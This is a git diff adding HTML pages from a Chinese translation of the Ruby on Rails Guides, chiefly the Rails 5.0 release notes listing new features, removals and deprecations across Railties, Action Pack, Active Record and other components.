  • Introduced a new configuration option active_support.test_order for +specifying the order test cases are executed. This option currently defaults +to :sorted but will be changed to :random in Rails 5.0. +(Commit)

  • +
  • Object#try and Object#try! can now be used without an explicit receiver in the block. +(Commit, +Pull Request)

  • +
  • The travel_to test helper now truncates the usec component to 0. +(Commit)

  • +
  • Introduced Object#itself as an identity function. +(Commit 1, +2)

  • +
  • Object#with_options can now be used without an explicit receiver in the block. +(Pull Request)

  • +
  • Introduced String#truncate_words to truncate a string by a number of words. +(Pull Request)

  • +
  • Added Hash#transform_values and Hash#transform_values! to simplify a +common pattern where the values of a hash must change, but the keys are left +the same. +(Pull Request)

  • +
  • The humanize inflector helper now strips any leading underscores. +(Commit)

  • +
  • Introduced Concern#class_methods as an alternative to +module ClassMethods, as well as Kernel#concern to avoid the +module Foo; extend ActiveSupport::Concern; end boilerplate. +(Commit)

  • +
  • New guide about constant autoloading and reloading.

  • +
+

11 Credits

See the +full list of contributors to Rails for +the many people who spent many hours making Rails the stable and robust +framework it is today. Kudos to all of them.

+ +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/v5.0/5_0_release_notes.html b/v5.0/5_0_release_notes.html new file mode 100644 index 0000000..82bda1a --- /dev/null +++ b/v5.0/5_0_release_notes.html @@ -0,0 +1,672 @@ + + + + + + + +Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + More Ruby on Rails + + +
+
+ +
+ + + +
+
+
+

Ruby on Rails 5.0 发布记

Rails 5.0 的重要变化:

+
    +
  • Action Cable

  • +
  • Rails API

  • +
  • Active Record Attributes API

  • +
  • 测试运行程序

  • +
  • rails CLI 全面取代 Rake

  • +
  • Sprockets 3

  • +
  • Turbolinks 5

  • +
  • 要求 Ruby 2.2.2+

  • +
+

本文只涵盖重要变化。若想了解缺陷修正和小变化,请查看更新日志,或者 GitHub 中 Rails 主仓库的提交历史

1 升级到 Rails 5.0

如果升级现有应用,在继续之前,最好确保有足够的测试覆盖度。如果尚未升级到 Rails 4.2,应该先升级到 4.2 版,确保应用能正常运行之后,再尝试升级到 Rails 5.0。升级时的注意事项参见 Ruby on Rails 升级指南

2 主要功能

2.1 Action Cable

拉取请求

Action Cable 是 Rails 4 新增的框架,其作用是把 WebSockets 无缝集成到 Rails 应用中。

有了 Action Cable,你就可以使用与 Rails 应用其他部分一样的风格和形式使用 Ruby 编写实时功能,而且兼顾性能和可伸缩性。这是一个全栈框架,既提供了客户端 JavaScript 框架,也提供了服务器端 Ruby 框架。你对使用 Active Record 或其他 ORM 编写的领域模型有完全的访问能力。

详情参见Action Cable 概览

2.2 API 应用

Rails 现在可用于创建专门的 API 应用了。如此以来,我们便可以创建类似 TwitterGitHub 那样的 API,提供给公众使用,或者只供自己使用。

Rails API 应用通过下述命令生成:

+
+$ rails new my_api --api
+
+
+
+

上述命令主要做三件事:

+
    +
  • 配置应用,使用有限的中间件(比常规应用少)。具体而言,不含默认主要针对浏览器应用的中间件(如提供 cookie 支持的中间件)。

  • +
  • ApplicationController 继承 ActionController::API,而不继承 ActionController::Base。与中间件一样,这样做是为了去除主要针对浏览器应用的 Action Controller 模块。

  • +
  • 配置生成器,生成资源时不生成视图、辅助方法和静态资源。

  • +
+

生成的应用提供了基本的 API,你可以根据应用的需要配置,加入所需的功能

详情参见使用 Rails 开发只提供 API 的应用

2.3 Active Record Attributes API

为模型定义指定类型的属性。如果需要,会覆盖属性的当前类型。通过这一 API 可以控制属性的类型在模型和 SQL 之间的转换。此外,还可以改变传给 ActiveRecord::Base.where 的值的行为,以便让领域对象可以在 Active Record 的大多数地方使用,而不用依赖实现细节或使用猴子补丁。

通过这一 API 可以实现:

+
    +
  • 覆盖 Active Record 检测到的类型。

  • +
  • 提供默认类型。

  • +
  • 属性不一定对应于数据库列。

  • +
+
+
+# db/schema.rb
+create_table :store_listings, force: true do |t|
+  t.decimal :price_in_cents
+  t.string :my_string, default: "original default"
+end
+
+# app/models/store_listing.rb
+class StoreListing < ActiveRecord::Base
+end
+
+store_listing = StoreListing.new(price_in_cents: '10.1')
+
+# 以前
+store_listing.price_in_cents # => BigDecimal.new(10.1)
+StoreListing.new.my_string # => "original default"
+
+class StoreListing < ActiveRecord::Base
+  attribute :price_in_cents, :integer # custom type
+  attribute :my_string, :string, default: "new default" # default value
+  attribute :my_default_proc, :datetime, default: -> { Time.now } # default value
+  attribute :field_without_db_column, :integer, array: true
+end
+
+# 现在
+store_listing.price_in_cents # => 10
+StoreListing.new.my_string # => "new default"
+StoreListing.new.my_default_proc # => 2015-05-30 11:04:48 -0600
+model = StoreListing.new(field_without_db_column: ["1", "2", "3"])
+model.attributes # => {field_without_db_column: [1, 2, 3]}
+
+
+
+

创建自定义类型
+你可以自定义类型,只要它们能响应值类型定义的方法。deserializecast 会在自定义类型的对象上调用,传入从数据库或控制器获取的原始值。通过这一特性可以自定义转换方式,例如处理货币数据。

查询
+ActiveRecord::Base.where 会使用模型类定义的类型把值转换成 SQL,方法是在自定义类型对象上调用 serialize

这样,做 SQL 查询时可以指定如何转换值。

Dirty Tracking
+通过属性的类型可以改变 Dirty Tracking 的执行方式。

详情参见文档

2.4 测试运行程序

为了增强 Rails 运行测试的能力,这一版引入了新的测试运行程序。若想使用这个测试运行程序,输入 bin/rails test 即可。

这个测试运行程序受 RSpecminitest-reportersmaxitest 等启发,包含下述主要优势:

+
    +
  • 通过测试的行号运行单个测试。

  • +
  • 指定多个行号,运行多个测试。

  • +
  • 改进失败消息,也便于重新运行失败的测试。

  • +
  • 指定 -f 选项,尽早失败,一旦发现失败就停止测试,而不是等到整个测试组件运行完毕。

  • +
  • 指定 -d 选项,等到测试全部运行完毕再显示输出。

  • +
  • 指定 -b 选项,输出完整的异常回溯信息。

  • +
  • Minitest 集成,允许指定 -s 选项测试种子数据,指定 -n 选项运行指定名称的测试,指定 -v 选项输出更详细的信息,等等。

  • +
  • 以不同颜色显示测试输出。

  • +
+

3 Railties

变化详情参见 Changelog

3.1 删除

+
    +
  • 删除对 debugger 的支持,换用 byebug。因为 Ruby 2.2 不支持 debugger。(提交

  • +
  • 删除弃用的 test:alltest:all:db 任务。(提交

  • +
  • 删除弃用的 Rails::Rack::LogTailer。(提交

  • +
  • 删除弃用的 RAILS_CACHE 常量。(提交

  • +
  • 删除弃用的 serve_static_assets 配置。(提交

  • +
  • 删除 doc:appdoc:railsdoc:gudies 三个文档任务。(提交

  • +
  • 从默认栈中删除 Rack::ContentLength 中间件。(提交

  • +
+

3.2 弃用

+
    +
  • 弃用 config.static_cache_control,换成 config.public_file_server.headers。(拉取请求

  • +
  • 弃用 config.serve_static_files,换成 config.public_file_server.enabled。(拉取请求

  • +
  • 弃用 rails 命名空间下的任务,换成 app 命名空间(例如,rails:updaterails:template 任务变成了 app:updateapp:template)。(拉取请求

  • +
+

3.3 重要变化

+
    +
  • 添加 Rails 测试运行程序 bin/rails test。(拉取请求

  • +
  • 新生成的应用和插件的自述文件使用 Markdown 格式。(提交拉取请求

  • +
  • 添加 bin/rails restart 任务,通过 touch tmp/restart.txt 文件重启 Rails 应用。(拉取请求

  • +
  • 添加 bin/rails initializers 任务,按照 Rails 调用的顺序输出所有初始化脚本。(拉取请求

  • +
  • 添加 bin/rails dev:cache 任务,在开发环境启用或禁用缓存。(拉取请求

  • +
  • 添加 bin/update 脚本,自动更新开发环境。(拉取请求

  • +
  • 通过 bin/rails 代理 Rake 任务。(拉取请求拉取请求

  • +
  • 新生成的应用在 Linux 和 macOS 中启用文件系统事件监控。把 --skip-listen 传给生成器可以禁用这一功能。(提交提交

  • +
  • 使用环境变量 RAILS_LOG_TO_STDOUT 把生产环境的日志输出到 STDOUT。(拉取请求

  • +
  • 新应用通过 IncludeSudomains 首部启用 HSTS。(拉取请求

  • +
  • 应用生成器创建一个名为 config/spring.rb 的新文件,告诉 Spring 监视其他常见的文件。(提交

  • +
  • 添加 --skip-action-mailer,生成新应用时不生成 Action Mailer。(拉取请求

  • +
  • 删除 tmp/sessions 目录,以及与之对应的 Rake 清理任务。(拉取请求

  • +
  • 让脚手架生成的 _form.html.erb 使用局部变量。(拉取请求

  • +
  • 禁止在生产环境自动加载类。(提交

  • +
+

4 Action Pack

变化详情参见 Changelog

4.1 删除

+
    +
  • 删除 ActionDispatch::Request::Utils.deep_munge。(提交

  • +
  • 删除 ActionController::HideActions。(拉取请求

  • +
  • 删除占位方法 respond_torespond_with,提取为 responders gem。(提交)

  • +
  • 删除弃用的断言文件。(提交

  • +
  • 不再允许在 URL 辅助方法中使用字符串键。(提交

  • +
  • 删除弃用的 *_path 辅助方法的 only_path 选项。(提交

  • +
  • 删除弃用的 NamedRouteCollection#helpers。(提交

  • +
  • 不再允许使用不带 #:to 选项定义路由。(提交

  • +
  • 删除弃用的 ActionDispatch::Response#to_ary。(提交

  • +
  • 删除弃用的 ActionDispatch::Request#deep_munge。(提交

  • +
  • 删除弃用的 ActionDispatch::Http::Parameters#symbolized_path_parameters。(提交

  • +
  • 不再允许在控制器测试中使用 use_route 选项。(提交

  • +
  • 删除 assignsassert_template,提取为 rails-controller-testing gem 中。(拉取请求

  • +
+

4.2 弃用

+
    +
  • 弃用所有 *_filter 回调,换成 *_action。(拉取请求

  • +
  • 弃用 *_via_redirect 集成测试方法。请在请求后手动调用 follow_redirect!,效果一样。(拉取请求

  • +
  • 弃用 AbstractController#skip_action_callback,换成单独的 skip_callback 方法。(拉取请求

  • +
  • 弃用 render 方法的 :nothing 选项。(拉取请求

  • +
  • 以前,head 方法的第一个参数是一个 散列,而且可以设定默认的状态码;现在弃用了。(拉取请求

  • +
  • 弃用通过字符串或符号指定中间件类名。直接使用类名。(提交

  • +
  • 弃用通过常量访问 MIME 类型(如 Mime::HTML)。换成通过下标和符号访问(如 Mime[:html])。(拉取请求

  • +
  • 弃用 redirect_to :back,换成 redirect_back。后者必须指定 fallback_location 参数,从而避免出现 RedirectBackError 异常。(拉取请求

  • +
  • ActionDispatch::IntegrationTestActionController::TestCase 弃用位置参数,换成关键字参数。(拉取请求

  • +
  • 弃用 :controller:action 路径参数。(拉取请求

  • +
  • 弃用控制器实例的 env 方法。(提交

  • +
  • 启用了 ActionDispatch::ParamsParser,而且从中间件栈中删除了。若想配置参数解析程序,使用 ActionDispatch::Request.parameter_parsers=。(提交提交

  • +
+

4.3 重要变化

+
    +
  • 添加 ActionController::Renderer,在控制器动作之外渲染任意模板。(拉取请求

  • +
  • ActionController::TestCaseActionDispatch::Integration 的 HTTP 请求方法的参数换成关键字参数。(拉取请求

  • +
  • 为 Action Controller 添加 http_cache_forever,缓存响应,永不过期。(拉取请求

  • +
  • 为获取请求设备提供更友好的方式。(拉取请求

  • +
  • 对没有模板的动作来说,渲染 head :no_content,而不是抛出异常。(拉取请求

  • +
  • 支持覆盖控制器默认的表单构建程序。(拉取请求

  • +
  • 添加对只提供 API 的应用的支持。添加 ActionController::API,在这类应用中取代 ActionController::Base。(拉取请求

  • +
  • ActionController::Parameters 不再继承自 HashWithIndifferentAccess。(拉取请求

  • +
  • 减少 config.force_sslconfig.ssl_options 的危险性,更便于禁用。(拉取请求

  • +
  • 允许 ActionDispatch::Static 返回任意首部。(拉取请求

  • +
  • protect_from_forgery 提供的保护措施默认设为 false。(提交

  • +
  • ActionController::TestCase 将在 Rails 5.1 中移除,制成单独的 gem。换用 ActionDispatch::IntegrationTest。(提交

  • +
  • Rails 默认生成弱 ETag。(拉取请求

  • +
  • 如果控制器动作没有显式调用 render,而且没有对应的模板,隐式渲染 head :no_content,不再抛出异常。(拉取请求拉取请求

  • +
  • 添加一个选项,为每个表单指定单独的 CSRF 令牌。(拉取请求

  • +
  • 为集成测试添加请求编码和响应解析功能。(拉取请求

  • +
  • 添加 ActionController#helpers,在控制器层访问视图上下文。(拉取请求

  • +
  • 不用的闪现消息在存入会话之前删除。(拉取请求

  • +
  • fresh_whenstale? 支持解析记录集合。(拉取请求

  • +
  • ActionController::Live 变成一个 ActiveSupport::Concern。这意味着,不能直接将其引入其他模块,而不使用 ActiveSupport::Concern 扩展,否则,ActionController::Live 在生产环境无效。有些人还可能会使用其他模块引入处理 Warden/Devise 身份验证失败的特殊代码,因为中间件无法捕获派生的线程抛出的 :warden 异常——使用 ActionController::Live 时就是如此。(详情

  • +
  • 引入 Response#strong_etag=#weak_etag=,以及 fresh_whenstale? 的相应选项。(拉取请求

  • +
+

5 Action View

变化详情参见 Changelog

5.1 删除

+
    +
  • 删除弃用的 AbstractController::Base::parent_prefixes。(提交

  • +
  • 删除 ActionView::Helpers::RecordTagHelper,提取为 record_tag_helper gem。(拉取请求

  • +
  • 删除 translate 辅助方法的 :rescue_format 选项,因为 I18n 不再支持。(拉取请求

  • +
+

5.2 重要变化

+
    +
  • 把默认的模板处理程序由 ERB 改为 Raw。(提交

  • +
  • 对集合的渲染可以缓存,而且可以一次获取多个局部视图。(拉取请求提交

  • +
  • 为显式依赖增加通配符匹配。(拉取请求

  • +
  • disable_with 设为 submit 标签的默认行为。提交后禁用按钮能避免多次提交。(拉取请求

  • +
  • 局部模板的名称不再必须是有效的 Ruby 标识符。(提交

  • +
  • datetime_tag 辅助方法现在生成类型为 datetime-localinput 标签。(拉取请求

  • +
+

6 Action Mailer

变化详情参见 Changelog

6.1 删除

+
    +
  • 删除邮件视图中弃用的 *_path 辅助方法。(提交

  • +
  • 删除弃用的 deliverdeliver! 方法。(提交

  • +
+

6.2 重要变化

+
    +
  • 查找模板时会考虑默认的本地化设置和 I18n 后备机制。(提交

  • +
  • 为生成器创建的邮件程序添加 _mailer 后缀,让命名约定与控制器和作业相同。(拉取请求

  • +
  • 添加 assert_enqueued_emailsassert_no_enqueued_emails。(拉取请求

  • +
  • 添加 config.action_mailer.deliver_later_queue_name 选项,配置邮件程序队列的名称。(拉取请求

  • +
  • 支持片段缓存 Action Mailer 视图。新增 config.action_mailer.perform_caching 选项,设定是否缓存邮件模板。(拉取请求

  • +
+

7 Active Record

变化详情参见 Changelog

7.1 删除

+
    +
  • 不再允许使用嵌套数组作为查询值。(拉取请求

  • +
  • 删除弃用的 ActiveRecord::Tasks::DatabaseTasks#load_schema,替换为 ActiveRecord::Tasks::DatabaseTasks#load_schema_for。(提交

  • +
  • 删除弃用的 serialized_attributes。(提交

  • +
  • 删除 has_many :through 弃用的自动计数器缓存。(提交

  • +
  • 删除弃用的 sanitize_sql_hash_for_conditions。(提交

  • +
  • 删除弃用的 Reflection#source_macro。(提交

  • +
  • 删除弃用的 symbolized_base_classsymbolized_sti_name。(提交

  • +
  • 删除弃用的 ActiveRecord::Base.disable_implicit_join_references=。(提交

  • +
  • 不再允许使用字符串存取方法访问连接规范。(提交

  • +
  • 不再预加载依赖实例的关联。(提交

  • +
  • PostgreSQL 值域不再排除下限。(提交

  • +
  • 删除通过缓存的 Arel 修改关系时的弃用消息。现在抛出 ImmutableRelation 异常。(提交

  • +
  • 从核心中删除 ActiveRecord::Serialization::XmlSerializer,提取到 activemodel-serializers-xml gem 中。(拉取请求

  • +
  • 核心不再支持旧的 mysql 数据库适配器。多数用户应该使用 mysql2。找到维护人员后,会把对 mysql 的支持制成单独的 gem。(拉取请求拉取请求

  • +
  • 不再支持 protected_attributes gem。(提交

  • +
  • 不再支持低于 9.1 版的 PostgreSQL。(拉取请求

  • +
  • 不再支持 activerecord-deprecated_finders gem。(提交

  • +
  • 删除 ActiveRecord::ConnectionAdapters::Column::TRUE_VALUES 常量。(提交

  • +
+

7.2 弃用

+
    +
  • 弃用在查询中把类作为值传递。应该传递字符串。(拉取请求

  • +
  • 弃用通过返回 false 停止 Active Record 回调链。建议的方式是 throw(:abort)。(拉取请求

  • +
  • 弃用 ActiveRecord::Base.errors_in_transactional_callbacks=。(提交

  • +
  • 弃用 Relation#uniq,换用 Relation#distinct。(提交

  • +
  • 弃用 PostgreSQL 的 :point 类型,换成返回 Point 对象,而不是数组。(拉取请求

  • +
  • 弃用通过为关联方法传入一个真值参数强制重新加载关联。(拉取请求

  • +
  • 弃用关联的错误键 restrict_dependent_destroy,换成更好的键名。(拉取请求

  • +
  • #tables 的同步行为。(拉取请求

  • +
  • 弃用 SchemaCache#tablesSchemaCache#table_exists?SchemaCache#clear_table_cache!,换成相应的数据源方法。(拉取请求

  • +
  • 弃用 SQLite3 和 MySQL 适配器的 connection.tables。(拉取请求

  • +
  • 弃用把参数传给 #tables:在某些适配器中(mysql2、sqlite3),它返回表和视图,而其他适配器(postgresql)只返回表。为了保持行为一致,未来 #tables 只返回表。(拉取请求

  • +
  • 弃用 table_exists? 方法:它既检查表,也检查视图。为了与 #tables 的行为一致,未来 #table_exists? 只检查表。(拉取请求

  • +
  • 弃用 find_nth 方法的 offset 参数。请在关系上使用 offset 方法。(拉取请求

  • +
  • 弃用 DatabaseStatements 中的 {insert|update|delete}_sql。换用公开方法 {insert|update|delete}。(拉取请求

  • +
  • 弃用 use_transactional_fixtures,换成更明确的 use_transactional_tests。(拉取请求

  • +
  • 弃用把一列传给 ActiveRecord::Connection#quote。(提交

  • +
  • find_in_batches 方法添加与 start 参数对应的 end 参数,指定在哪里停止批量处理。(拉取请求

  • +
+

7.3 重要变化

+
    +
  • 创建表时为 references 添加 foreign_key 选项。(提交

  • +
  • 新的 Attributes API。(提交

  • +
  • enum 添加 :_prefix/:_suffix 选项。(拉取请求拉取请求

  • +
  • ActiveRecord::Relation 添加 #cache_key 方法。(拉取请求

  • +
  • timestamps 默认的 null 值改为 false。(提交

  • +
  • 添加 ActiveRecord::SecureToken,在模型中使用 SecureRandom 为属性生成唯一令牌。(拉取请求

  • +
  • drop_table 添加 :if_exists 选项。(拉取请求

  • +
  • 添加 ActiveRecord::Base#accessed_fields,在模型中只从数据库中选择数据时快速查看读取哪些字段。(提交

  • +
  • ActiveRecord::Relation 添加 #or 方法,允许在 WHEREHAVING 子句中使用 OR 运算符。(提交

  • +
  • 添加 ActiveRecord::Base.suppress,禁止在指定的块执行时保存接收者。(拉取请求

  • +
  • 如果关联的对象不存在,belongs_to 现在默认触发验证错误。在具体的关联中可以通过 optional: true 选项禁止这一行为。因为添加了 optional 选项,所以弃用了 required 选项。(拉取请求

  • +
  • 添加 config.active_record.dump_schemas 选项,用于配置 db:structure:dump 的行为。(拉取请求

  • +
  • 添加 config.active_record.warn_on_records_fetched_greater_than 选项。(拉取请求

  • +
  • 为 MySQL 添加原生支持的 JSON 数据类型。(拉取请求

  • +
  • 支持在 PostgreSQL 中并发删除索引。(拉取请求

  • +
  • 为连接适配器添加 #views#view_exists? 方法。(拉取请求

  • +
  • 添加 ActiveRecord::Base.ignored_columns,让一些列对 Active Record 不可见。(拉取请求

  • +
  • 添加 connection.data_sourcesconnection.data_source_exists?。这两个方法判断什么关系可以用于支持 Active Record 模型(通常是表和视图)。(拉取请求

  • +
  • 允许在 YAML 固件文件中设定模型类。(拉取请求

  • +
  • 生成数据库迁移时允许把 uuid 用作主键。(拉取请求

  • +
  • 添加 ActiveRecord::Relation#left_joinsActiveRecord::Relation#left_outer_joins。(拉取请求

  • +
  • 添加 after_{create,update,delete}_commit 回调。(拉取请求

  • +
  • 为迁移类添加版本,这样便可以修改参数的默认值,而不破坏现有的迁移,或者通过弃用循环强制重写。(拉取请求

  • +
  • 现在,ApplicationRecord 是应用中所有模型的超类,这与控制器一样,控制器是 ApplicationController 的子类,而不是 ActionController::Base。因此,应用可以在一处全局配置模型的行为。(拉取请求

  • +
  • 添加 #second_to_last#third_to_last 方法。(拉取请求

  • +
  • 允许通过存储在 PostgreSQL 和 MySQL 数据库元数据中的注释注解数据库对象。(拉取请求

  • +
  • mysql2 适配器(0.4.4+)添加预处理语句支持。以前只支持弃用的 mysql 适配器。若想启用,在 config/database.yml 中设定 prepared_statements: true。(拉取请求

  • +
  • 允许在关系对象上调用 ActionRecord::Relation#update,在关系涉及的所有对象上运行回调。(拉取请求

  • +
  • save 方法添加 :touch 选项,允许保存记录时不更新时间戳。(拉取请求

  • +
  • 为 PostgreSQL 添加表达式索引和运算符类支持。(提交

  • +
  • 添加 :index_errors 选项,为嵌套属性的错误添加索引。(拉取请求

  • +
  • 添加对双向销毁依赖的支持。(拉取请求

  • +
  • 支持在事务型测试中使用 after_commit 回调。(拉取请求

  • +
  • 添加 foreign_key_exists? 方法,检查表中是否有外键。(拉取请求

  • +
  • touch 方法添加 :time 选项,使用当前时间之外的时间更新记录的时间戳。(拉取请求

  • +
+

8 Active Model

变化详情参见 Changelog

8.1 删除

+ +

8.2 弃用

+
    +
  • 弃用通过返回 false 停止 Active Model 和 ActiveModel::Validations 回调链的方式。推荐的方式是 throw(:abort)。(拉取请求

  • +
  • 弃用行为不一致的 ActiveModel::Errors#getActiveModel::Errors#setActiveModel::Errors#[]= 方法。(拉取请求

  • +
  • 弃用 validates_length_of:tokenizer 选项,换成普通的 Ruby。(拉取请求

  • +
  • 弃用 ActiveModel::Errors#add_on_emptyActiveModel::Errors#add_on_blank,而且没有替代方法。(拉取请求

  • +
+

8.3 重要变化

+
    +
  • 添加 ActiveModel::Errors#details,判断哪个验证失败。(拉取请求

  • +
  • ActiveRecord::AttributeAssignment 提取为 ActiveModel::AttributeAssignment,以便把任意对象作为引入的模块使用。(拉取请求

  • +
  • 添加 ActiveModel::Dirty#[attr_name]_previously_changed?ActiveModel::Dirty#[attr_name]_previous_change,更好地访问保存模型后有变的记录。(拉取请求

  • +
  • valid?invalid? 一次验证多个上下文。(拉取请求

  • +
  • validates_acceptance_of 除了 1 之外接受 true 为默认值。(拉取请求

  • +
+

9 Active Job

变化详情参见 Changelog

9.1 重要变化

+
    +
  • ActiveJob::Base.deserialize 委托给作业类,以便序列化作业时依附任意元数据,并在执行时读取。(拉取请求

  • +
  • 允许在单个作业中配置队列适配器,防止相互影响。(拉取请求

  • +
  • 生成的作业现在默认继承自 app/jobs/application_job.rb。(拉取请求

  • +
  • 允许 DelayedJobSidekiqququequeue_classic 把作业 ID 报给 ActiveJob::Base,通过 provider_job_id 获取。(拉取请求拉取请求提交

  • +
  • 实现一个简单的 AsyncJob 处理程序和相关的 AsyncAdapter,把作业队列放入一个 concurrent-ruby 线程池。(拉取请求

  • +
  • 把默认的适配器由 inline 改为 async。这是更好的默认值,因为测试不会错误地依赖同步行为。(提交

  • +
+

10 Active Support

变化详情参见 Changelog

10.1 删除

+
    +
  • 删除弃用的 ActiveSupport::JSON::Encoding::CircularReferenceError。(提交

  • +
  • 删除弃用的 ActiveSupport::JSON::Encoding.encode_big_decimal_as_string=ActiveSupport::JSON::Encoding.encode_big_decimal_as_string 方法。(提交

  • +
  • 删除弃用的 ActiveSupport::SafeBuffer#prepend。(提交

  • +
  • 删除 Kernel 中弃用的方法:silence_stderrsilence_streamcapturequietly。(提交

  • +
  • 删除弃用的 active_support/core_ext/big_decimal/yaml_conversions 文件。(提交

  • +
  • 删除弃用的 ActiveSupport::Cache::Store.instrumentActiveSupport::Cache::Store.instrument= 方法。(提交

  • +
  • 删除弃用的 Class#superclass_delegating_accessor,换用 Class#class_attribute。(拉取请求

  • +
  • 删除弃用的 ThreadSafe::Cache,换用 Concurrent::Map。(拉取请求

  • +
  • 删除 Object#itself,因为 Ruby 2.2 自带了。(拉取请求

  • +
+

10.2 弃用

+
    +
  • 弃用 MissingSourceFile,换用 LoadError。(提交

  • +
  • 弃用 alias_method_chain,换用 Ruby 2.0 引入的 Module#prepend。(拉取请求

  • +
  • 弃用 ActiveSupport::Concurrency::Latch,换用 concurrent-ruby 中的 Concurrent::CountDownLatch。(拉取请求

  • +
  • 弃用 number_to_human_size:prefix 选项,而且没有替代选项。(拉取请求

  • +
  • 弃用 Module#qualified_const_,换用内置的 Module#const_ 方法。(拉取请求

  • +
  • 弃用通过字符串定义回调。(拉取请求

  • +
  • 弃用 ActiveSupport::Cache::Store#namespaced_keyActiveSupport::Cache::MemCachedStore#escape_keyActiveSupport::Cache::FileStore#key_file_path,换用 normalize_key。(拉取请求提交

  • +
  • 弃用 ActiveSupport::Cache::LocaleCache#set_cache_value,换用 write_cache_value。(拉取请求

  • +
  • 弃用 assert_nothing_raised 的参数。(拉取请求

  • +
  • 弃用 Module.local_constants,换用 Module.constants(false)。(拉取请求

  • +
+

10.3 重要变化

+
    +
  • ActiveSupport::MessageVerifier 添加 #verified#valid_message? 方法。(拉取请求

  • +
  • 改变回调链停止的方式。现在停止回调链的推荐方式是明确使用 throw(:abort)。(拉取请求

  • +
  • 新增配置选项 config.active_support.halt_callback_chains_on_return_false,指定是否允许在前置回调中停止 ActiveRecord、ActiveModel 和 ActiveModel::Validations 回调链。(拉取请求

  • +
  • 把默认的测试顺序由 :sorted 改为 :random。(提交

  • +
  • DateTimeDateTime 添加 #on_weekend?#on_weekday?#next_weekday#prev_weekday 方法。(拉取请求拉取请求

  • +
  • DateTimeDateTime#next_week#prev_week 方法添加 same_time 选项。(拉取请求

  • +
  • DateTimeDateTime 添加 #yesterday#tomorrow 对应的 #prev_day#next_day 方法。

  • +
  • 添加 SecureRandom.base58,生成 base58 字符串。(提交

  • +
  • ActiveSupport::TestCase 添加 file_fixture。这样更便于在测试用例中访问示例文件。(拉取请求

  • +
  • EnumerableArray 添加 #without,返回一个可枚举对象副本,但是不含指定的元素。(拉取请求

  • +
  • 添加 ActiveSupport::ArrayInquirerArray#inquiry。(拉取请求

  • +
  • 添加 ActiveSupport::TimeZone#strptime,使用指定的时区解析时间。(提交

  • +
  • Integer#zero? 启发,添加 Integer#positive?Integer#negative?。(提交

  • +
  • ActiveSupport::OrderedOptions 中的读值方法添加炸弹版本,如果没有值,抛出 KeyError。(拉取请求

  • +
  • 添加 Time.days_in_year,返回指定年份中的日数,如果没有参数,返回当前年份。(提交

  • +
  • 添加一个文件事件监视程序,异步监测应用源码、路由、本地化文件等的变化。(拉取请求

  • +
  • 添加 thread_m/cattr_accessor/reader/writer 方法,声明存活在各个线程中的类和模块变量。(拉取请求

  • +
  • 添加 Array#second_to_lastArray#third_to_last 方法。(拉取请求

  • +
  • 发布 ActiveSupport::ExecutorActiveSupport::Reloader API,允许组件和库管理并参与应用代码的执行以及应用重新加载过程。(拉取请求

  • +
  • ActiveSupport::Duration 现在支持使用和解析 ISO8601 格式。(拉取请求

  • +
  • 启用 parse_json_times 后,ActiveSupport::JSON.decode 支持解析 ISO8601 本地时间。(拉取请求

  • +
  • ActiveSupport::JSON.decode 现在解析日期字符串后返回 Date 对象。(拉取请求

  • +
  • TaggedLogging 支持多次实例化日志记录器,避免共享标签。(拉取请求

  • +
+

11 名誉榜

得益于众多贡献者,Rails 才能变得这么稳定和强健。向他们致敬!

英语原文还有 Rails 4.24.14.0 等版本的发布记,由于版本旧,不再翻译,敬请谅解。——译者注

+ +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/v5.0/_license.html b/v5.0/_license.html new file mode 100644 index 0000000..ccc3731 --- /dev/null +++ b/v5.0/_license.html @@ -0,0 +1,234 @@ + + + + + + + + + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + More Ruby on Rails + + +
+
+ +
+ +
+
+ + + +
+
+ +
+
+
+

本著作采用 创作共用 署名-相同方式共享 4.0 国际 授权

+

“Rails”,“Ruby on Rails”,以及 Rails Logo 为 David Heinemeier Hansson 的商标。版权所有

+ + +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/v5.0/_welcome.html b/v5.0/_welcome.html new file mode 100644 index 0000000..da75288 --- /dev/null +++ b/v5.0/_welcome.html @@ -0,0 +1,246 @@ + + + + + + + + + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + More Ruby on Rails + + +
+
+ +
+ +
+
+ + + +
+
+ +
+
+
+

Ruby on Rails 指南 (v5.0.1)

+ +

+ 这是 Rails 5.0 的最新指南,基于 v5.0.1。 + 这份指南旨在使您立即获得 Rails 的生产力,并帮助您了解所有组件如何组合在一起。 +

+

+早前版本的指南: +Rails 4.2, +Rails 4.1中文), +Rails 4.0, +Rails 3.2,和 +Rails 2.3。 +

+ + +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

